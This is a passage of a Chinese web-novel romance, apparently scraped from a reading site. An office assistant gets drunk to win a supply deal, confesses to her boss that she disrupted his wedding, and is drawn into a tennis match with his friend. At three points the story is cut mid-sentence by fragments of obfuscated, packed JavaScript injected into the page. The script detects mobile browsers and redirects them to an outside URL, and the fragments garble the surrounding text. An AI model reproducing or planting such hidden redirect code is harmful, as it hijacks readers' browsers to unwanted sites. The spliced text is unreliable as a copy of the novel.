梁芝欢听了也皱着脸:“我酒量不大好......” 潘柏雷立刻表示没事,有他跟王凯顶着。 * 晚宴就订在酒店二楼。对方只来了大老板跟副总,还有一个司机。所有人坐定,大老板问客人要喝什么,潘柏雷提议红酒。 “哟,我也喜欢红酒。”大老板比下午开会和言悦色,点了两瓶匈牙利的红酒。 倒好酒,潘柏雷特意把酒瓶拿在手里,仔细看了看产地,说出一个酒庄的名字。 “潘总对红酒有研究?”大老板饶有兴趣。 “研究谈不上,”潘柏雷嘴上谦虚着,“因为喜欢,了解过不同产地、不同酒庄的红酒。” 大老板一拍桌子,似乎挺高兴:“我也喜欢红酒,正想多了解,咱们交流交流。” 话落,豪气地端起酒杯,对他们说了几句客套的开场白,大家一起碰杯。 然后大老板开始与潘柏雷聊红酒。梁芝欢没料到总经理是真有研究,对各大酒庄如数家珍,侃侃而谈,大老板听得心服口服。 另外那位副总则不停地给大家倒酒、劝酒。梁芝欢表示自己酒量不好、只能少饮,王凯帮她打圆场。那副总也不好对小姑娘太过强求,就跟王凯对上喝。 “想不到潘总年纪轻轻,居然对欧洲的红酒历史这么熟悉,我今天学到不少,感谢潘总。”大老板要敬他酒,潘柏雷连忙恭敬地反敬他。 “其实我在英国读书的时候,刚好写过两篇这方面的论文,所以才略懂一二。” “是吗?太巧了!”大老板神情更兴奋,“我打算以后送我女儿去英国读书,不知道哪所学校的经营管理专业好?” 梁芝欢和王凯默默对视一眼,两人表情中都有一种莫名的喜感。 当大老板满意地听完专业介绍,把注意力投回到酒桌上时,发现两瓶红酒所剩无几。他冲副总嚷嚷:“怎么不给客人拿酒?开酒开酒。” 新的一瓶红酒上来,大老板亲自为每个人满上。 “今天高兴,大家不醉不归,我先干为敬。” 众人只好跟着他干。梁芝欢为难地盯着手里满满一杯酒,喝也不是,不喝也不是。王凯又帮她打圆场,但大老板并不买账,端着酒杯亲自过来敬她。 “女士可以半杯。” 这下梁芝欢不好推脱,只能舍命相陪。哪想到这半杯酒下肚,副总也跟着起哄。 “原来梁小姐能喝,刚才却一直不肯跟我喝,我很没面子啊!” 苦笑中,梁芝欢只得把另一半也灌进肚子里。心跳加速的感觉登时窜上来,脸和脖子热得发烫。 当副总再给她倒酒时,潘柏雷替她挡下。 “我这个助理平时滴酒不沾,今天陪我过来喝成这样,我实在过意不去。剩下的酒我代她喝。” “哈哈,潘总真会怜香惜玉……”大老板在他背上拍了一下。 “但是潘总,我见过很多跟梁小姐一样的人,刚开始不喝酒,但是越喝越能喝。不要小看人的潜力,我打个比方------” 说着,他转过脸来:“梁小姐,如果今天你喝了这杯我就答应给你货,你能不能喝?” 梁芝欢整个人愣住,两眼迷茫地望着大老板跟总经理。 桌下,王凯用脚轻轻踢了一下她,梁芝欢晕乎乎的脑袋瓜终于反应过来,连忙谢过大老板给她机会,仰头喝光满满一大杯。 “好,梁小姐女中豪杰!”副总在一旁喝彩。 酒席结束,梁芝欢连路都走不大稳。 潘柏雷让王凯送大老板和副总出酒店,自己扶梁芝欢回房。到了门口,她从外套口袋摸出门卡,对着门锁刷来刷去,就是刷不开。 潘柏雷取过来刷开门,扶她进去,把人安置在床尾,去浴室帮她弄来一块热毛巾。 梁芝欢用毛巾盖住脸,脑袋仍然晕得不行,干脆躺了下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713196|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 好像听到有人问她“是不是很难受”,声音很遥远,听不真切。她的意识渐渐模糊,那个声音越来越弱,最后完全消失。 看她睡着,潘柏雷把毛巾拿开。 迟疑片刻,还是动手帮她脱掉外套、皮鞋,再把套在床上的被子扯出来替她盖上。 这时睡着的人忽然翻了一个身,潘柏雷立时把手缩回,继而觉得好笑。自己明明坦坦荡荡,怕什么? 于是仍旧帮她盖好被子,还把她头上固定发髻的东西取下,弄散了头发,这才确定她可以睡得比较舒服。 刚直起身,手机铃响,潘柏雷接起电话。 “潘总,工厂已经答应这两天给我们供货计划,下个月恢复生产之后优让我们拿货。” 王凯迫不及待向他报告好消息,声音异常兴奋。 尽管在酒宴后半程有所预料,但此刻得到最终确实,潘柏雷也相当高兴。挂上电话,两只手臂弯起放到胸前,欣喜地低吼一声“YES”。 可惜床上的人完全不省人事,无法分享这一刻的喜悦。 没关系,潘柏雷依然心情极好地对她说了一句:“梁芝欢,你的酒没白喝。” * 早上八点半,潘柏雷和王凯用好早餐,梁芝欢还没出现。 潘柏雷拨她手机,无人接听,又改拨她房间的电话。等了好一会儿,那头传来一个有气无力的声音。 “还没起来?” “喔……你打错了……”电话里的声音含糊不清。 “梁芝欢---”怕下一秒被挂断电话,潘柏雷抬高了音量。 “我是潘柏雷,你的酒还没醒?” 那头静默片刻,继而传来一声惨叫,然后是焦急的声音:“是不是要走了?” “你还有二十分钟,八点五十分我们要出发去机场。”潘柏雷有些哭笑不得。 挂断电话,他几乎可以想象她接下来手忙脚乱的样子。于是让王凯打包早餐,自己回房收好行李,先去了梁芝欢的房间。 只按了一下门铃,门就打开了。 “把你的房卡给……”话未说完,潘柏雷突然愣住,张大嘴巴盯着她。 梁芝欢知道自己现在的样子一定有点恐怖。 她放下电话爬起来,强忍着十分的头痛与两分的头晕,冲进洗手间。镜子里一个披头散发的女人,脸上的妆容惨不忍睹。她又冲回房间,匆匆忙忙打开行李箱,找卸妆水…… 着实费了一番功夫才把脸清洁完毕,来不及重新化妆,只好涂了隔离霜,好歹稍微遮盖一下苍白憔悴的面孔。 这样折腾下来,十多分钟过去了。顾不上盘头发,快速刷好牙,然后收东西…… 门铃就在这时候响了,应该是来催她退房。 “那个……”梁芝欢本想挤出一点笑容,但头痛得实在难过。她从墙上取下房卡递出去:“抱歉,我、我马上就下去……” 潘柏雷机械地从她手中接过房卡,仍旧一副“活见鬼”的模样看着她。 就算她现在的样子不好看,也不至于这么“惊悚”吧? 梁芝欢无措地揉了揉头发,忽然间意识到什么,发出一声尖叫,在他面前用力甩上门。 她冲进浴室,在镜子前用手捂住了嘴--- 这段时间,她已经渐渐忘记了那回事,所以才会一时大意...... 完了....... 他都看见了!!! 12. 12 梁芝欢拉着行李箱准时出现在大堂,王凯正在等她。她跟着他往门外走,心里还在纠结要怎么办。 工厂的商务车停在门口。车门没关,她看见潘柏雷已经坐在后排,悠闲地刷着手机。 司机热络地接过她的行李自行放进后备箱,王凯依然坐进了前排的副驾驶位子。梁芝欢硬着头皮钻进后排,在总经理旁边的空位坐下。 “喏,你的早餐。”王凯从前面递过来一个深咖色纸袋。 没想到他如此有心,两芝欢连忙道谢。 “不是我,是潘总想到的。” 哦…… 她居然连转一下头的勇气也没有,弱声说了句:“谢谢潘总……” “没关系。” 那声音听上去与平常一样,就好像他根本没有认出她似的。 梁芝欢低头拆纸袋里的牛奶和蛋糕包装。 “我看你脸色还没恢复,宿醉的劲头还没退吧?”王凯虽是问她话,却没等她回答又接着继续往下。 “不过你这一醉也值了,工厂已经答应尽快给我们供货。” “真的?”梁芝欢心中一喜。 “不信你问潘总。” “......”梁芝欢刚要转头,又缩了回去,喃喃道:“那太好了......” 王凯见她反应不够热烈,道她还不舒服,把头转了回去。 梁芝欢默默吃完早餐,闭眼休息,在摇摇晃晃的车内还真瞌睡上了。到达机场人又清醒过来,下车拉上行李。 潘柏雷说犒劳将士,给他们全升了商务舱。王凯拿着身份证去柜台办理升舱手续,剩下她跟总经理两个面对面站着。 “谈谈吧。”潘柏雷两手抱胸,脸上摆着一副“你最好乖乖坦白”的表情。 “早上为什么关门?” “你……猜到了,对吗?” “你说呢?”他眯起眼睛。 该来的看来躲不过了,梁芝欢把心一横。 “没错,那天突然在你婚礼上冒出来的人就是我。但我真不是故意来破坏你婚礼……我、我只是偶然出现在那儿……” “如果因为我的冒失,对你造成了很糟糕的影响,我真的十分抱歉!如果做什么可以弥补的话,我愿意做!” 潘柏雷静静听完,昂起下巴。 “所以,你一开始就认出我了?” 梁芝欢点头承认。 “如果我没发现,你打算一直不坦白?” 她继续点头。 “怕我知道了会炒你鱿鱼?” 梁芝欢低下头去:“真的对不起……” “唉---” 头顶上,他长长地叹了口气。 “婚礼泡汤这件事确实给我造成了……一些困扰……但我也不至于那么小气要开除你......”他拖腔拖调地说着。 “如果---我是说如果---如果我有些事情需要你帮忙,就像你说的做为弥补,你愿意来帮我对吧?” “当然。”梁芝欢毫不犹豫。 “Good。”潘柏雷打个响指,“那就这么定了。” “定......”梁芝欢狐疑地抬头,助理帮忙不是应该的吗? “也许是……理论上超过助理职责范围的忙。” 梁芝欢看向他的眼神更加疑惑。 “当然肯定合法合礼,”他略微尴尬地摸摸鼻子,“没有潜规则。” 那行吧…… 梁芝欢不自在地点头。 “这算是我们两个之间的秘密协议。”潘柏雷微笑着向她伸出右手,眼神坦然而明亮。 梁芝欢看得一怔,果然总经理的眼睛是会放电的。 她强作镇定地伸出手,跟他匆匆一握后收回手。 原本毫无血色的苍白面孔,此时终于泛出一抹绯红。不知是因为压在胸口的一块大石终于落地,还是猝不及防被电到...... * 总经理初战告捷的消息迅速在公司传开。这么棘手的案子,被总经理轻轻松松解决,公司上下无不对他刮目相看。 尤其是事业二部的同仁,有了英明神武的总经理领导,纷纷憧憬着更加美好光明的未来。一时之间,整个部门士气高昂,人人都像打了鸡血一般。 刘董在会上大力表扬了他们,还给他们三个人发了一小笔特别奖金以兹鼓励。可能是梁芝欢多心,总觉得刘董笑容可掬的背后隐隐还藏着点什么。 正在开小差的她突然被点名,只听刘董高声宣布:“公司对于你入职后的表现很满意,所以决定提前结束试用期,正式录用你为公司员工。” 在座的人都很意外,她自己更是惊讶得不敢相信,算起来才刚满一个月而已。坐在旁边的Sandy轻轻提醒,梁芝欢连忙向刘董道谢。 “希望你继续努力,协助总经理做好工作。”刘应超依然笑容可掬。 散会的时候,大家纷纷过来恭喜她,嚷着要她请客,梁芝欢统统答应。虽然一下子要被宰去好几顿,还是觉得非常开心。 “你也要请我吃饭。”潘柏雷理所当然地提要求。 她不得不举起双手讨饶:“我已经欠了好多人一顿饭,这个月快要入不敷出了。” “你的意思只请他们不请老板?”潘柏雷收敛起笑容。 “不是,”梁芝欢苦笑不得,本来看他心情好开个玩笑罢了。 “……我的意思是这周中午可能排满了,下周哪一天中午行不行?” “你把老板排在最后?”老板挑眉。 “可是我已经答应了她们……”助理苦着小脸,还是不禁唬。 “算了,欠着吧。”潘柏雷大度地放过了她。 中午,他跟毕正吃饭,又去了上次那家旧美式西餐厅吃饭。潘柏雷眉飞色舞地把怎么扭转乾坤的经过细说一遍,听者啧啧称奇。 “我不得不说,你又让我意外了一次。” “我也没想自己原来在生意上这么有天赋。”潘柏雷耸耸肩,脸上尽是得意。 “当对方跟我说他也喜欢红酒的时候,我立刻明白了你说的那句‘死棋活下’是什么意思。怎么样,是不是很厉害?” “我怎么觉得你除了得意还有些自我膨胀?”毕正打趣地看着他。 潘柏雷挑挑眉,冲他贱贱地说:“毕竟‘第一次’嘛!” 毕正嫌恶地移开视线,专心切盘子里的牛排。 对面的人凑过来:“晚上去喝酒?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713197|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 毕正秒懂,冷声拒绝:“我不喝花酒。” 潘柏雷不屑地切了一声,瓮声瓮气地说:“你别告诉我,跟前女友分手后就没有过女人。” 毕正面无表情地甩他一眼,仍旧吃他的牛排。 “哇,两年多呢!”潘柏雷咂舌,语调有些夸张。 “说真的,从我认识你开始你就单身,我都没有见过你跟女人在一起的样子......超想看你谈恋爱的样子,一定很迷人。” 毕正嘴里嚼着牛肉,似笑非笑。 “我很好奇.......你种清心寡欲的人,究竟会喜欢哪种类型的女人?” 潘柏雷放下手里的叉子,上半身继续往前凑了凑。 “Echo那种美艳冷感,和沈佳璐这种妩媚妖娆,你偏好哪一种?” “无、可、奉、告。” 毕正冷着脸回答,潘柏雷觉得他是故意要吊他胃口。 他一脸不爽地坐直身体,拿着叉子胡乱地搅动他盘子里的意面。忽然想到什么,神色一松,兴致勃勃地提议。 “我用一个秘密跟你交换。” “呵。”毕正嗤之以鼻。 “是真的秘密!”潘柏雷向他打包票,“我不说,你绝对猜不到!” “我为什么要好奇你的秘密?” “跟你有关!你当初也想知道的!” 毕正挑起眉尾:“说来听听。” 潘柏雷立刻咧了咧嘴。 “你还记得我差一点结婚那天,突然冒出那个女人吧?” 毕正点头,潘柏雷抬手打了个响指。 “那个女人就是梁芝欢。” 果然,他在毕正脸上读到如期的反应。 “是不是很意外?” “你怎么知道是她?”毕正反问。 “她承认啦!” 潘柏雷把当时在酒店房间门口撞破的情景、以及在机场的部分谈话内容叨叨叨一番。 “也就是说,她早就认出了你......”毕正莫名联想到另一层。 她认出柏雷,没有认出他。 冒冒失失撞他那次也就算了,第二次在公司门口,都跟他搭过话,但她似乎完全没印象。 “......现在想起来还挺狗血。”潘柏雷依然兀自笑着摇头。 “确实......”毕正语气淡淡,“你的助理帮你逃了婚,你帮她拿到工作,确实巧合得十分狗血。还真有一种......” 他微微顿了一顿:“......老天爷派来拯救你这个纨绔公子的感觉......” 潘柏雷嘴里“嘶”了一声,立即变脸。 “别、别!我最不喜欢这种粘上就甩不掉的女人,更何况还是我身边的人。” 毕正咽下最后一口牛肉,拿纸巾擦了擦嘴,用一种懒散的语调不急不缓地说:“但愿你以后不会被打脸。” “我打个鬼!”潘柏雷笑着扯回之前的问题,“你还没告诉我你偏好哪一种?” “可是这个秘密并不值得……交换我的秘密。” “喂,耍赖可不是你的风格!” 毕正抬手对服务员做手势买单。 “作为弥补,这顿我请。” 13. 13 在回公司的路上,潘柏雷还一直纠缠在毕正的秘密上,忽然发现前面走的一群女人叽叽喳喳很是热闹。他很快认出都是公司的助理,梁芝欢走在其中,应该是她请客吃饭。 “我助理转正了。”潘柏雷拿手肘捅了捅毕正。 顺着他的视线方向,毕正从人群中分辨出那抹熟悉的背影。 怪不得她来面试那天就觉得有点眼熟,原来她就是那个突然迎头撞上来,又不顾一切推开他的冒失鬼。 毕正不禁纳闷,怎么每次碰见她,总是令他印象深刻? “才一个月……这次是因为你知道她帮你逃了婚?” “是我觉得不需要再试用而已。” 潘柏雷跟毕正走在一群助理身后,他们本打算等下一部电梯,却被一位眼尖的同事发现,按着开门键等他俩上来。 他朝着大家微微笑了笑,跟面无表情的毕正一同进去,并肩站在门口的位置。身后原本呱噪的女人一时间全部安静下来,潘柏雷忍不住转了转眼珠。 “刚才在电梯里,你们突然不说话是怎么回事?”梁芝欢一回到办公室就被总经理逮着问话。 “没什么,怕吵到你们。” 他将信将疑地看她一眼,回到他的房间去了。 梁芝欢偷偷松口气,她能把“他们看上去就像一对好基友”这种话告诉总经理吗? * 周五下午潘柏雷心血来潮,拿出自己的特别奖金,买了一大堆精致的小蛋糕给大家做下午茶。 Echo和梁芝欢各自端着一大盘子蛋糕在公司里分发,办公室内的气氛一下子热闹起来,又把总经理恭维了一番。 毕正路过,听说总经理请大家吃蛋糕,好奇地走到总经办,潘柏雷正站在门口过道上。 “什么喜事?”他问。 “特别奖金。”潘柏雷挤挤眼睛,小声地说。 毕正由衷佩服他的手段:“你这是高调炫耀!” 说话间,送蛋糕的两个人端着大盘子走了过来。 潘柏雷示意毕正拿一个,他迟疑了一下,略过近在咫尺的梁芝欢,伸手从Echo的盘子里拿了一个。 潘柏雷嘴边弯起一抹玩味,也从面前的Echo的盘子里拿了一个。 “原来你喜欢我助理这种良家妇女啊……”等那两个人走开,潘柏雷笑嘻嘻地说。 毕正对他翻了一下眼睛,意思是“莫名其妙”。 “梁芝欢明明就站在你的前面,但你偏偏选了距离较远的Echo。”潘柏雷滔滔不绝地谈起他的分析。 “如果是我,正常情况肯定怎么顺手怎么拿。可是你在选择之前有一点点迟疑,基于我们不久前才讨论过你的偏好,你潜意识里还在自动保护你的秘密。” “而你刚刚的迟疑恰恰证明了这一点。有一种感觉叫‘近乡情更怯’,明明喜欢却偏偏不敢靠近。怎么样,我分析的是不是很有道理?” 说完,潘柏雷一脸得意地望着他,毕正有点啼笑皆非。 “看来你最近研究工作做得太多。我选了不顺手的Echo,是因为她盘子里的蛋糕比梁芝欢的多,完全、仅仅、只是出于绅士的考虑。” 他拍了拍潘柏雷的肩膀,潇洒地转身往他的办公室方向走去。 潘柏雷立在原地,满脸狐疑。 他努力地回忆刚才的画面:那一边真的多得那么明显吗? * “谢谢老姐!” 梁芝荣收到微信转账,马上打开手机买他的乔丹。 “谁老了!”梁芝欢嗔道,砸了一个抱枕在他身上。 弟弟对她扮一个鬼脸,又把注意力转回手机。 “唉,我的特别奖金就这样没了。”梁芝欢感叹。 “眼光要长远一点,”梁芝荣把抱枕扔回给她,一本正经。 “等我毕业后工作了,给你买包包,什么香奈儿、LV,你喜欢哪个买那个,那可比鞋子贵多了。” “空口白话说那么溜,是用来哄于菲的吧?” 梁芝荣挑了挑眉,弯起嘴角没否认。 “上次打电话回家的时候,你妈还问我你有没有交女朋友。” 梁芝欢稍微调整了一下坐进沙发的姿势,把抱枕搂在怀里。 “你没出卖我吧?”梁芝荣很怕老妈知道后啰里啰唆问一大堆。 “这点义气我还是有的。”梁芝欢把下巴搁在抱枕上,笑眯眯地望着他。 “我还等着你的LV呢。” 梁芝荣不满又嫌弃地斜她一眼:“你突然要离开上海,你爸拷问我多少次啊,我一个字都没说好不好!” “因为你总是懒得打电话回家,你妈老是打给我问芝荣怎么样、怎么样了……” 梁芝欢不服气地补充,想要证明她为他做的更多。 “你又不是不知道你妈最能说了……” “你爸下周的生日礼物我选好了。”梁芝荣忽然拿手机屏幕对着她。 梁芝欢愣了一下,凑了过去。 那是一件灰色的羊绒衫,看上去就很暖和。 不得不承认,她有个暖男特质的弟弟! 记不得从几岁开始,她私下里老喜欢跟弟弟说“你妈怎样怎样”,渐渐地他就学着对她说“你爸如何如何......” 尽管爸爸真的是他爸爸,或许是察觉她的小心思,故意想分一半父母给她吧。总之,后来他们私下里就是“你爸”、“你妈”的叫上口了。 “芝荣……” 梁芝欢坐过去靠在弟弟的肩膀上,用很做作的声音说:“没有你我该怎么办……” ...... 梁芝荣背上冒起一层鸡皮疙瘩....... * 十一月的厦门,早晚温差明显加大,早晨的阳光已经远远没有夏季的威力。 周一早晨,潘柏雷拖着疲乏的身躯进来,有气无力地吩咐助理给他倒一杯咖啡。 到现在,助理已经对他的咖啡配方驾轻就熟,每次呈上来的味道无论是甜度、奶度还是温度都刚刚好,不差一分一毫。 潘柏雷一气饮尽,满足地发出一声喟叹。 “还要来一杯吗?”助理开着玩笑。 自从跟他有了一个秘密协议之后,他们之间除了上下级关系之外,似乎多了一点朋友的意味。 “Later。”潘柏雷揉了揉手臂。 “你看起来很累,周末没休息好吗?” “跟毕正那个变态一起能好吗?”他悻悻地抱怨,然后看见助理脸上换上了一副怪异的惊诧表情。 “你乱想什么啊?”潘柏雷更加悻悻然,朝她挥舞着两条手臂。 “我们一起打网球而已!” 这一挥又牵扯出浑身的酸痛。 妈的!现在想来真是后悔,他居然答应了要陪那家伙打三个月的网球! 助理爱莫能助地递给他一个同情的眼神,准备离开。 “需要咖啡的时候告诉我。” “等等……”潘柏雷叫住她,眼含殷切。“你会打网球吗?” “会……”助理回答得相当迟疑,似乎已经觉察出问题背后的不纯动机,还特意补了一句。 “不过打不好。” “好不好没关系,反正是陪练。” 潘柏雷像是抓住了一根救命稻草,一扫方才的颓势。 “不行!”助理拒绝得斩钉截铁,白皙的小脸上居然因为激动而泛上了红晕。 潘柏雷又想起之前两个人之间的不对劲:“你们是不是发生了什么事情?” “没有。”助理仍然矢口否认,“我只是觉得……他不会乐意跟我打球。” 潘柏雷将信将疑,等助理出去之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713198|144656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,拨通了毕正的电话。 刚说到“这个周末他助理跟他们一起去打球”,那头响起硬邦邦的拒绝声音。 “你想让我跟女人打球?” “喂,你能不能改一改自以为是的大男子主义坏毛病?” “这跟大男子主义一点关系都没有!男人跟女人在体能、力量和技术上完全不在一个量级。” “拜托,我们又不是正规比赛……” “训练更不行!” …… 潘柏雷脱口而出:“老实说,你是不想跟女人打球,还是不想跟我助理打球?” * 隔天毕正出差回来,晚上在公司加班。恰巧遇见刘应超,便同他一道去吃晚饭。 两个人都精于生意,很自然地聊起最近的市场变化,以及国内国际的需求趋势。 一顿简餐不知不觉间吃完,毕正叫来服务员买单,刘应超抢先掏出了信用卡。毕正也不跟他争,礼貌地道谢。 “对了,柏雷跟梁芝欢是不是之前认识?”刘应超忽然问道。 毕正愣了一下。 “就我所知,柏雷是在梁小姐入职后才认识她的。” 刘应超似乎接受了他的答案,笑了笑。 “你可能不知道,以梁芝欢的资历完全不可能被录用的。当初柏雷提出要招她进来,虽然她救助过董事长,但也不至于为了报恩就破格录用一个毫无经验的人。我以为柏雷跟她认识,所以才顺手推舟答应他。” 买好单,两人一起回公司,在楼下等电梯。 “以前的助理都是我给他找的,他一个都不满意。这次这个他自己选的,如果最后他还不满意,我看他还有什么话说。” “怪不得柏雷好像对梁小姐并没有什么不满意……” “是啊,所以认识也好、不认识也好,总之结果好就行。那个女孩子也挺努力,我看过她写的报告,思路很清楚。有她帮柏雷,我也放一半心了。” “哦,还有一半呢?” 电梯到了,毕正准备让刘应超先进。电梯门打开,里面就一个人,好巧不巧正是他们谈论的那个令老板满意的助理。 助理微笑着跟刘应超打完招呼,顺便也照拂了一下他。 毕正听到刘应超和蔼地问她“去吃饭吗?”,她点了点头。 他猜测她可能去面包店买晚餐,那是她去得最多的地方。 不知不觉中,因为跟他吃晚饭的时间点差不多,他大概已经摸清了她吃饭的地点---甚至还知道她会在八点半下班。 毕正跟在刘应超后面走进电梯,按下27楼。 “另一半当然得靠他自己。”刘应超继续接上刚才的问题,“小姑娘毕竟缺乏经验,你有空的时候多教教她,就当是帮柏雷。” 毕正看着电梯显示屏上不断变化的数字,机械地应了一声“好”。 他很少教人---或者应该说不习惯教人。这可能跟他单枪匹马多年有关。他习惯独来独往,既不愿给别人添麻烦,也下意识地避免被人求助。 当然,柏雷除外,毕竟是他最好的朋友。 但其实在这个公司里,他还教过沈佳璐…… 脑海里忽然冒出柏雷昨天电话里问他那句话---你是不想跟女人打球,还是不想跟我助理打球? 所以,他刚才嘴上应着“好”,内心却抗拒的原因,到底是不想教人,还是不想教她? 不可否认,她的确很努力。她似乎急于从一张白纸变成一本书,别人回家或者跟朋友出去的时候,她还呆在公司。 也许是因为努力,也许因为她在这里根本没有家人、也没有朋友…… 或许,他应该大度一点。 毕正又想起台风那天晚上,她礼貌地拒绝了他的顺风车。 他突然很想知道,后来她有没有等到出租车? 14. 14 “青青,我转正啦!” 周六下午,梁芝欢在家里画新买来的数字油彩。画架旁边的桌上,放着手机支架,跟冉青视频。 “恭喜你啊!这么快就转正了。”冉青脸上带着明亮的妆容,人也在外面,梁芝欢猜她在约会。 “是呀,来看电影。” “跟谁?” 冉青报了一个名字,是比她们早两年进研究所的一个师兄。 “啊,是他啊?”梁芝欢诧异,“他什么时候追你了?” “就你辞职前两个礼拜。” 梁芝欢更加意外,走的时候愣是一点眉目没瞧出来。 冉青见怪不怪:“你那么迟钝的人,瞧不出来太正常了。” 梁芝欢闻言笑笑。 以前研究所的同事不知道她有男朋友,有人暗地里追她,悄悄送零食、下午茶。科室里的人都瞧出端倪,唯独她这个当事人毫无察觉。 冉青取笑她的时候,她还理直气壮反驳:“长嘴是干什么的?他不说谁知道?我又不是自恋狂,别人对我好一点,就以为对我有企图。” 冉青也是那时候才知道她有男朋友---除了弟弟,也就只有冉青,目睹她一个幸福小女人坠落云端...... “诶,你这么快转正,说明你老板对你很满意呀?”话题又被冉青转回来。 “还行吧......可能因为他跟我一样都是菜鸟,要求没那么高。” 如果摊上一个跟毕正差不多的厉害老板,大概就是另一番境遇。 “说到底,还是我运气好。” “否极泰来嘛!”冉青笑脸盈盈,“有没有可能再来一段办公室恋情?” 梁芝欢瞠目:“跟谁?” “你老板呀!不是年轻又长得很帅?” “拜托不要瞎起哄,以后我看见老板会尴尬的!” “也是,富二代还是算了,没几个靠谱......” 冉青终于回归理智,梁芝欢心想。 “那个高冷、但年轻有为的大佬呢?他有没有可能?” 梁芝欢:...... 微信视频就在这时被一个来电突然中断。屏幕上闪烁“总经理”三个字,梁芝欢连忙放下画笔,拿起手机接通电话。 “紧急,给你二十五分钟,穿上运动鞋赶紧打车过来。” 电话里的声音急切又霸道,不容她发问,又来一句:“我把地址和定位发给你,拜拜。” 通话切断,微信上定位和地址跟着发了过来。 一看某球馆,梁芝欢苦笑不得。 难道真让她去跟毕正打网球吗? “我可不可以不去?”她把这句话发过去,后面加了一个可怜兮兮的求放过表情。 “看在秘密约定的份上。”那头回过来,复制了两个可怜兮兮的表情。 梁芝欢无语地揉了揉头发,走进卧室。 她仿佛可以看见毕正蹙着眉头,高傲地说“你想让我跟她打球?”的表情。 给冉青解释了两句,梁芝欢用力把身上的家居服脱下来,又用力地套上宽松的运动服。然后对着镜子飞快地扎了一个清爽的马尾,换上运动鞋出门了。 幸好这个时间路况好,出租车开了二十分钟到了球馆。看她准时出现,潘柏雷兴高采烈地拉她进去。 梁芝欢一眼就认出了坐在网球场边休息的毕正---离他稍远的位置还坐着一个女人。 “一会儿听我的安排。”潘柏雷在她耳边轻声交代。 她疑惑着答应,跟着他走过去。 毕正看到她,既没觉得意外也没表现出任何情绪,倒是那位气质美女对她露出了灿烂的笑容。 “我朋友梁芝欢,”潘柏雷介绍她们认识:“这位是Nina。” 朋友?梁芝欢好笑,这到底什么局? 不过她还是面带笑容跟美女握了一下手。美女友好地问她要不要先热个身?她看向潘柏雷,后者也把脸转向她。 “你先活动一下,待会儿跟毕正一组,我们四个双打。”说完,咧嘴朝她眨了一下眼。 梁芝欢终于嗅出一点情况,莫非让她帮忙追女朋友? 这时她才注意到毕正和潘柏雷的衣服有些潮湿,额头上不停有汗冒出,可能刚才他们已经打过一场。 那位漂亮小姐穿着专业的紧身运动衣,去到一边做拉伸,身材曲线相当柔美,看上去经常运动健身。潘柏雷走到她面前,陪她一起做伸展,有说有笑…… “不用热身吗?” 旁边一个清冷的声音把她的注意力拉回,梁芝欢连忙也拉伸自己的胳膊腿。 可她的搭档仍旧靠在椅背上,慢悠悠地喝着矿泉水。虽然不用跟他对打,但作为搭档拖他后腿会不会也很悲惨? 梁芝欢觉得最好还是先打预防针,于是走到他面前极为诚恳地说:“我很少打网球,实在打得不太好。” 毕正抬头看她一眼,又把视线转向另一侧,淡淡地回应。 “你觉得你老板会希望你打得好吗?” 梁芝欢顺着他的视线望过去,潘柏雷不知说了什么,惹得Nina咯咯笑个不停。她觉得毕正的话很有道理,那她还担心什么? 果然,开场不到十分钟,他们连续失球。 气质美女不光人长得漂亮,球技也令人惊叹!她在场上跑动自如,挥拍专业,跟同样毫不逊色的潘柏雷搭档异常默契,连连杀得他们无力还手。 “毕正,拿出点实力好不好?”潘柏雷居然在对面叫嚣。 梁芝欢不知道毕正是否隐藏了实力,但她的的确确没有啊! 她是真的接不住球...... 趁着捡球的功夫,她瞄了瞄毕正,他绷着脸、面目表情地目视前方,似乎在说“你小子等着瞧”。 轮到毕正发球,梁芝欢听他一声低吼,然后小小的网球划出一个漂亮弧线,重重落在对方两个人之间的一个空档。球速极快,对面两个人反应过来时已经来不及接球。 接下来,毕正又是两记漂亮的扣杀。梁芝欢发现总经理原本轻松愉悦的脸渐渐开始变色,她不知道这个时候应不应该帮老板。 梁芝欢比之前跑动得更勤,她竭力想跑去接球,可惜每次不仅接不到,反而浪费了毕正击球的机会。 她面带歉意地冲他笑笑,他没理她。 又一个球从对面飞过来,梁芝欢刚跑两步就被毕正抢先,他大力反手挥拍,球顺势越过半场,一个绝妙的扣杀。 毕正斜睨她一眼,嘴角微微上弯,彷佛在讥笑她:“我还跑不过你?” 梁芝欢决定让自己的小宇宙彻底爆发。她卯足了劲,看清球来的方向,拼出吃奶的力奔过去…… 哪知还没跑到位,脚下忽然传来一阵痛感,她收了冲劲,球就被毕正打了回去。这之后,她的小宇宙只剩下微弱的火苗...... 对面两个人觉得毕正那边不好对付,转而开始欺负她 